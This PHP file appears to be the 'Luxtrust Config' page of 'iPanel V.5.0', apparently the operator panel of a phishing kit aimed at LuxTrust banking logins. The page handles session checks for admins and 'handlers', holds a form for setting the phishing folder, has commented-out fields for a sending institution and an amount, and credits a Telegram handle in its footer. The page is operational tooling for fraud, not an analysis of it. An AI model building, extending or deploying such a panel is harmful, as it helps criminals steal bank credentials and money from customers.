<?php
include 'inc/config.php';
include 'inc/connect.php';
date_default_timezone_set('Europe/Dublin');
session_start();
if (!isset($_SESSION['loggedin'])) {
    header('Location: login.php');
    exit;
}

if ($handlers_access != "checked") {
    if ($_SESSION['role'] != "Admin") {
        die();
    }
}
?>

<!DOCTYPE html>
<html>

<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>iPanel - Luxtrust Config</title>
    <meta name="description" content="">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="robots" content="all,follow">
    <!-- Bootstrap CSS-->
    <link rel="stylesheet" href="vendor/bootstrap/css/bootstrap.min.css">
    <!-- Font Awesome CSS-->
    <link rel="stylesheet" href="vendor/font-awesome/css/font-awesome.min.css">
    <!-- Micron Animations CSS-->
    <link rel='stylesheet' href='https://unpkg.com/webkul-micron@1.1.6/dist/css/micron.min.css'>
    <!-- Custom Font Icons CSS-->
    <link rel="stylesheet" href="css/font.css">
    <!-- Toasrt Alerts CSS-->
    <link rel="stylesheet" href="css/toastr.min.css">
    <!-- Flags Icons CSS-->
    <link rel="stylesheet" href="css/flag-icon.css">
    <!-- Google fonts - Muli-->
    <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Muli:300,400,700">
    <!-- theme stylesheet-->
    <link rel="stylesheet" href="css/style.red.css" id="theme-stylesheet">
    <!-- Custom stylesheet - for your changes-->
    <link rel="stylesheet" href="css/custom.css">
    <!-- Favicon-->
    <link rel="shortcut icon" href="img/favicon.ico">

    <style>
        .blink_me {
            animation: blinker 1s linear infinite;
        }

        @keyframes blinker {
            50% {
                background-color: rgba(134, 77, 217, 0.3);
            }
        }
    </style>


</head>

<body>
    <header class="header">
        <nav class="navbar navbar-expand-lg">

            <div class="container-fluid d-flex align-items-center justify-content-between">
                <div class="navbar-header">
                    <!-- Navbar Header--><a href="index.php" class="navbar-brand">
                        <div class="brand-text brand-big visible text-uppercase"><strong class="text-primary text-lowercase">i</strong><strong>Panel</strong><sub><small> V.5.0</sub></mall>
                        </div>
                        <div class="brand-text brand-sm"><strong class="text-primary">i</strong><strong>P</strong></div>
                    </a>
                    <!-- Sidebar Toggle Btn-->
                    <button onclick="profile_avatar(this);" class="sidebar-toggle"><i class="fa fa-long-arrow-left"></i></button>
                </div>

                <!-- Log out               -->
                <div class="list-inline-item logout"><a id="logout" href="logout.php" class="nav-link"> <span class="d-none d-sm-inline"></span><i title="Logout" class="icon-logout"></i></a></div>
            </div>
            </div>
        </nav>
    </header>
    <div class="d-flex align-items-stretch">
        <!-- Sidebar Navigation-->
        <nav id="sidebar">
            <!-- Sidebar Header-->
            <div class="sidebar-header d-flex align-items-center">
                <div id="profile_avatar" class="avatar"><img src="img/avatar.png" class="img-fluid rounded-circle"></div>
                <div class="title">
                    <h1 class="h5"><?php echo $_SESSION['username']; ?></h1>
                    <p><?php echo $_SESSION['role']; ?></p>
                </div>
            </div>

            <ul class="list-unstyled">
                <li><a href="index.php"> <i class="icon-home"></i>Home </a></li>
                <?php
                if ($_SESSION['role'] == "Admin") {
                    echo '<li><a href="handlers.php"> <i class="icon-user"></i>Handlers </a></li>';
                }

                if ($handlers_access != "checked") {
                    if ($_SESSION['role'] == "Admin") {
                        echo '<li class="active"><a href="luxtrust.php"> <i class="icon-website"></i>Luxtrust </a></li>';
                        echo '<li><a href="settings.php"> <i class="icon-settings"></i>Settings </a></li>';
                    }
                } else {
                    echo '<li class="active"><a href="luxtrust.php"> <i class="icon-website"></i>Luxtrust </a></li>';
                    echo '<li><a href="settings.php"> <i class="icon-settings"></i>Settings </a></li>';
                }
                ?>
        </nav>
        <!-- Sidebar Navigation end-->
        <div class="page-content">
            <div class="page-header">
                <div class="container-fluid">
                    <h2 class="h5 no-margin-bottom">Luxtrust Config</h2>
                </div>
            </div>

            <section class="no-padding-bottom">
                <div class="col-lg-12">
                    <div class="block">
                        <div class="title"><strong>Luxtrust Config</strong></div>
                        <div class="block-body">
                            <form method="POST" action="set_cfg.php" class="form-horizontal">
                                <br>
                                <div class="form-group row">
                                    <label class="col-sm-3 form-control-label">Luxtrust Folder (No spaces)</label>
                                    <div class="col-sm-9">
                                        <input value="<?= $cfg_url ?>" name="cfgurl" type="text" class="form-control">
                                    </div>
                                </div><br>
								                                <!-- <div class="form-group row">
                                    <label class="col-sm-3 form-control-label">From (Instution)</label>
                                    <div class="col-sm-9">
                                        <input value="<?= $cfg_from ?>" name="cfgfrom" type="text" class="form-control">
                                    </div>
                                </div><br>
								                                <div class="form-group row">
                                    <label class="col-sm-3 form-control-label">Amount</label>
                                    <div class="col-sm-9">
                                        <input value="<?= $cfg_amount ?>" name="cfgamount" type="text" class="form-control">
                                    </div>
                                </div><br>
								 -->
                                <br><br>
                                <br><br>
                                <div class="form-group row">
                                    <div class="col-sm-9 ml-auto">
                                        <button type="submit" class="btn btn-primary">Save changes</button>&nbsp;&nbsp;
                                    </div>
                                </div>
                            </form>
                        </div>
                    </div>
                </div>
            </section>
            <footer class="footer">
                <div class="footer__block block no-margin-bottom">
                    <div class="container-fluid text-center">
                        <!-- <p>2024 &copy; All Rights Reserved - <a target="_blank" href="https://t.me/The_iHack">iHack</a></p> -->
                    </div>
                </div>
            </footer>
        </div>
    </div>
    <!-- JavaScript files-->
    <script src="vendor/jquery/jquery.min.js"></script>
    <script src="vendor/popper.js/umd/popper.min.js"> </script>
    <script src="vendor/bootstrap/js/bootstrap.min.js"></script>
    <script src="vendor/jquery.cookie/jquery.cookie.js"> </script>
    <script src="vendor/jquery-validation/jquery.validate.min.js"></script>
    <script src="js/front.js"></script>
    <script src="js/toastr.min.js"></script>
    <script src="https://unpkg.com/webkul-micron@1.1.6/dist/script/micron.min.js"></script>
    <script src="js/other.js"></script>
    <?php
    if ($_SESSION['update_settings'] == 'success') {
        echo '<script>toastr["success"]("settings updated successfully");</script>';
        $_SESSION['update_settings'] = '';
    }
    ?>

</body>

</html>